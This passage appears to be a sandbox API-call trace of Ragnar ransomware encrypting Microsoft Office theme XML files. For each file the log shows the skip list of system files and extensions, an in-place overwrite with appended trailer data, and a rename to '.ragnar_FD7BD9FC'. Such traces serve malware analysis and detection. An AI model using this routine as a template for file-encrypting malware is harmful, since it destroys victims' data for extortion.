Colors\\Median.xml" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Median.xml") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Median.xml" [0093.633] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Median.xml", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Median.xml.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Median.xml.ragnar_FD7BD9FC" [0093.633] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Median.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\median.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Median.xml.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\median.xml.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0093.633] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4f4cf00, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x51c9cf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf4f4cf00, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x3c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Metro.xml", cAlternateFileName="")) returned 1 [0093.633] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x49 [0093.633] lstrcpyW (in: lpString1=0x1eb64c, lpString2="Metro.xml" | out: lpString1="Metro.xml") returned="Metro.xml" [0093.633] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Metro.xml") returned=".xml" [0093.633] lstrcmpiW (lpString1="Metro.xml", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0093.634] lstrcmpiW (lpString1="Metro.xml", lpString2="autorun.inf") returned 1 [0093.634] lstrcmpiW (lpString1="Metro.xml", lpString2="boot.ini") returned 1 [0093.634] lstrcmpiW (lpString1="Metro.xml", lpString2="bootfont.bin") returned 1 [0093.634] lstrcmpiW (lpString1="Metro.xml", lpString2="bootsect.bak") returned 1 [0093.634] lstrcmpiW (lpString1="Metro.xml", lpString2="bootmgr") returned 1 [0093.634] lstrcmpiW (lpString1="Metro.xml", lpString2="bootmgr.efi") returned 1 [0093.634] lstrcmpiW (lpString1="Metro.xml", lpString2="bootmgfw.efi") returned 1 [0093.634] lstrcmpiW (lpString1="Metro.xml", lpString2="desktop.ini") returned 1 [0093.634] lstrcmpiW (lpString1="Metro.xml", lpString2="iconcache.db") returned 1 [0093.634] lstrcmpiW (lpString1="Metro.xml", lpString2="ntldr") returned -1 [0093.634] lstrcmpiW (lpString1="Metro.xml", lpString2="ntuser.dat") returned -1 [0093.634] lstrcmpiW (lpString1="Metro.xml", lpString2="ntuser.dat.log") returned -1 [0093.634] lstrcmpiW (lpString1="Metro.xml", lpString2="ntuser.ini") returned -1 [0093.634] lstrcmpiW (lpString1="Metro.xml", lpString2="thumbs.db") returned -1 [0093.634] lstrcmpiW (lpString1=".xml", lpString2=".db") returned 1 [0093.634] lstrcmpiW (lpString1=".xml", lpString2=".sys") returned 1 [0093.634] lstrcmpiW (lpString1=".xml", lpString2=".dll") returned 1 [0093.634] lstrcmpiW (lpString1=".xml", lpString2=".lnk") returned 1 [0093.634] lstrcmpiW (lpString1=".xml", lpString2=".msi") returned 1 [0093.634] lstrcmpiW (lpString1=".xml", lpString2=".drv") returned 1 [0093.634] lstrcmpiW (lpString1=".xml", lpString2=".exe") returned 1 [0093.634] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Metro.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\metro.xml")) returned 0x20 [0093.634] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Metro.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\metro.xml"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0093.635] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=960) returned 1 [0093.635] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x3b7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.635] GetProcessHeap () returned 0x580000 [0093.635] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0093.635] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0093.636] VirtualAlloc (lpAddress=0x0, dwSize=0x3c0, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0093.636] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.636] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0093.637] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x3c0, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x3c0, lpOverlapped=0x0) returned 1 [0093.637] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0093.637] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3c0, nNumberOfBytesToLockHigh=0x0) returned 1 [0093.637] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x3c0, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x3c0, lpOverlapped=0x0) returned 1 [0093.637] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3c0, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0093.637] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0093.637] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x3c0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.637] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0093.637] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0093.637] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0093.637] WriteFile (in: hFile=0x10c, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0093.637] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0093.637] GetProcessHeap () returned 0x580000 [0093.638] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0093.638] CloseHandle (hObject=0x10c) returned 1 [0093.638] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Metro.xml" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Metro.xml") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Metro.xml" [0093.638] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Metro.xml", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Metro.xml.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Metro.xml.ragnar_FD7BD9FC" [0093.638] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Metro.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\metro.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Metro.xml.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\metro.xml.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0093.638] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf625fc00, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x603ce830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf625fc00, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x3c1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Module.xml", cAlternateFileName="")) returned 1 [0093.638] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x49 [0093.638] lstrcpyW (in: lpString1=0x1eb64c, lpString2="Module.xml" | out: lpString1="Module.xml") returned="Module.xml" [0093.638] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Module.xml") returned=".xml" [0093.638] lstrcmpiW (lpString1="Module.xml", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0093.639] lstrcmpiW (lpString1="Module.xml", lpString2="autorun.inf") returned 1 [0093.639] lstrcmpiW (lpString1="Module.xml", lpString2="boot.ini") returned 1 [0093.639] lstrcmpiW (lpString1="Module.xml", lpString2="bootfont.bin") returned 1 [0093.639] lstrcmpiW (lpString1="Module.xml", lpString2="bootsect.bak") returned 1 [0093.639] lstrcmpiW (lpString1="Module.xml", lpString2="bootmgr") returned 1 [0093.639] lstrcmpiW (lpString1="Module.xml", lpString2="bootmgr.efi") returned 1 [0093.639] lstrcmpiW (lpString1="Module.xml", lpString2="bootmgfw.efi") returned 1 [0093.639] lstrcmpiW (lpString1="Module.xml", lpString2="desktop.ini") returned 1 [0093.639] lstrcmpiW (lpString1="Module.xml", lpString2="iconcache.db") returned 1 [0093.639] lstrcmpiW (lpString1="Module.xml", lpString2="ntldr") returned -1 [0093.639] lstrcmpiW (lpString1="Module.xml", lpString2="ntuser.dat") returned -1 [0093.639] lstrcmpiW (lpString1="Module.xml", lpString2="ntuser.dat.log") returned -1 [0093.639] lstrcmpiW (lpString1="Module.xml", lpString2="ntuser.ini") returned -1 [0093.639] lstrcmpiW (lpString1="Module.xml", lpString2="thumbs.db") returned -1 [0093.639] lstrcmpiW (lpString1=".xml", lpString2=".db") returned 1 [0093.639] lstrcmpiW (lpString1=".xml", lpString2=".sys") returned 1 [0093.639] lstrcmpiW (lpString1=".xml", lpString2=".dll") returned 1 [0093.639] lstrcmpiW (lpString1=".xml", lpString2=".lnk") returned 1 [0093.639] lstrcmpiW (lpString1=".xml", lpString2=".msi") returned 1 [0093.639] lstrcmpiW (lpString1=".xml", lpString2=".drv") returned 1 [0093.639] lstrcmpiW (lpString1=".xml", lpString2=".exe") returned 1 [0093.639] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Module.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\module.xml")) returned 0x20 [0093.640] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Module.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\module.xml"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0093.640] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=961) returned 1 [0093.640] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x3b8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.640] GetProcessHeap () returned 0x580000 [0093.640] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0093.641] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0093.642] VirtualAlloc (lpAddress=0x0, dwSize=0x3c1, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0093.642] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.642] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0093.642] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x3c1, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x3c1, lpOverlapped=0x0) returned 1 [0093.643] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0093.643] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3c1, nNumberOfBytesToLockHigh=0x0) returned 1 [0093.643] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x3c1, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x3c1, lpOverlapped=0x0) returned 1 [0093.643] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3c1, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0093.643] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0093.643] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x3c1, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.643] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0093.643] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0093.643] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0093.643] WriteFile (in: hFile=0x10c, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0093.643] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0093.643] GetProcessHeap () returned 0x580000 [0093.643] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0093.643] CloseHandle (hObject=0x10c) returned 1 [0093.644] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Module.xml" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Module.xml") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Module.xml" [0093.644] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Module.xml", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Module.xml.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Module.xml.ragnar_FD7BD9FC" [0093.644] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Module.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\module.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Module.xml.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\module.xml.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0093.644] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x18b81500, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x51c9cf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x18b81500, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x3c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Newsprint.xml", cAlternateFileName="NEWSPR~1.XML")) returned 1 [0093.644] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x49 [0093.644] lstrcpyW (in: lpString1=0x1eb64c, lpString2="Newsprint.xml" | out: lpString1="Newsprint.xml") returned="Newsprint.xml" [0093.644] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Newsprint.xml") returned=".xml" [0093.644] lstrcmpiW (lpString1="Newsprint.xml", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0093.644] lstrcmpiW (lpString1="Newsprint.xml", lpString2="autorun.inf") returned 1 [0093.644] lstrcmpiW (lpString1="Newsprint.xml", lpString2="boot.ini") returned 1 [0093.645] lstrcmpiW (lpString1="Newsprint.xml", lpString2="bootfont.bin") returned 1 [0093.645] lstrcmpiW (lpString1="Newsprint.xml", lpString2="bootsect.bak") returned 1 [0093.645] lstrcmpiW (lpString1="Newsprint.xml", lpString2="bootmgr") returned 1 [0093.645] lstrcmpiW (lpString1="Newsprint.xml", lpString2="bootmgr.efi") returned 1 [0093.645] lstrcmpiW (lpString1="Newsprint.xml", lpString2="bootmgfw.efi") returned 1 [0093.645] lstrcmpiW (lpString1="Newsprint.xml", lpString2="desktop.ini") returned 1 [0093.645] lstrcmpiW (lpString1="Newsprint.xml", lpString2="iconcache.db") returned 1 [0093.645] lstrcmpiW (lpString1="Newsprint.xml", lpString2="ntldr") returned -1 [0093.645] lstrcmpiW (lpString1="Newsprint.xml", lpString2="ntuser.dat") returned -1 [0093.645] lstrcmpiW (lpString1="Newsprint.xml", lpString2="ntuser.dat.log") returned -1 [0093.645] lstrcmpiW (lpString1="Newsprint.xml", lpString2="ntuser.ini") returned -1 [0093.645] lstrcmpiW (lpString1="Newsprint.xml", lpString2="thumbs.db") returned -1 [0093.645] lstrcmpiW (lpString1=".xml", lpString2=".db") returned 1 [0093.645] lstrcmpiW (lpString1=".xml", lpString2=".sys") returned 1 [0093.645] lstrcmpiW (lpString1=".xml", lpString2=".dll") returned 1 [0093.645] lstrcmpiW (lpString1=".xml", lpString2=".lnk") returned 1 [0093.645] lstrcmpiW (lpString1=".xml", lpString2=".msi") returned 1 [0093.645] lstrcmpiW (lpString1=".xml", lpString2=".drv") returned 1 [0093.645] lstrcmpiW (lpString1=".xml", lpString2=".exe") returned 1 [0093.645] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Newsprint.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\newsprint.xml")) returned 0x20 [0093.645] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Newsprint.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\newsprint.xml"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0093.646] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=964) returned 1 [0093.646] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x3bb, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.646] GetProcessHeap () returned 0x580000 [0093.646] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0093.646] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0093.649] VirtualAlloc (lpAddress=0x0, dwSize=0x3c4, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0093.649] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.649] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0093.649] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x3c4, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x3c4, lpOverlapped=0x0) returned 1 [0093.649] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0093.649] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3c4, nNumberOfBytesToLockHigh=0x0) returned 1 [0093.649] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x3c4, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x3c4, lpOverlapped=0x0) returned 1 [0093.649] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3c4, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0093.650] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0093.650] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x3c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.650] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0093.650] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0093.650] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0093.650] WriteFile (in: hFile=0x10c, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0093.650] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0093.650] GetProcessHeap () returned 0x580000 [0093.650] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0093.650] CloseHandle (hObject=0x10c) returned 1 [0093.650] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Newsprint.xml" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Newsprint.xml") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Newsprint.xml" [0093.650] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Newsprint.xml", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Newsprint.xml.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Newsprint.xml.ragnar_FD7BD9FC" [0093.650] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Newsprint.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\newsprint.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Newsprint.xml.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\newsprint.xml.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0093.651] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, 